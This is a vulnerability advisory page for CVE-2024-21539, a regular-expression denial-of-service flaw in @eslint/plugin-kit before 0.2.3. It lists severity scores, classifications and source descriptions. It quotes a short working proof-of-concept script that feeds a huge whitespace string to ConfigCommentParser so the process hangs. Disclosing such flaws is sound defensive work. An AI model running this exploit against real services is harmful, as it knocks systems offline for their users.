CVE-2024-21539
JSON

8.7high

Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Severity
8.7high CVSS:4.0 by snyk
Exploit likelihood
0.51% (higher than 44% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
snyk
Also known as
GHSA-7q7g-4xm8-89cq

Description

Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.

Affected

Product or packageVersionsReported by
@eslint/plugin-kitbefore 0.2.3CVE List
eslint rewritebefore 0.2.3CVE List
@eslint/plugin-kit (npm)before 0.2.3GitHub Advisory Database

All scores

snyk8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
snyk7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P
GitHub3.5low CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

Classification

CWE-770CWE-1333

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.

GitHub Advisory Database

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage
NVD (es)

Las versiones del paquete @eslint/plugin-kit anteriores a la 0.2.3 son vulnerables a la denegación de servicio por expresión regular (ReDoS) debido a una desinfección de entrada incorrecta. Un atacante puede aumentar el uso de la CPU y bloquear el programa al explotar esta vulnerabilidad.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-21539 changed 2026-08-18CVE Terms of Use
GitHub Advisory DatabaseGHSA-7q7g-4xm8-89cq changed 2026-09-10CC-BY-4.0
NVDCVE-2024-21539 changed 2026-08-03Public domain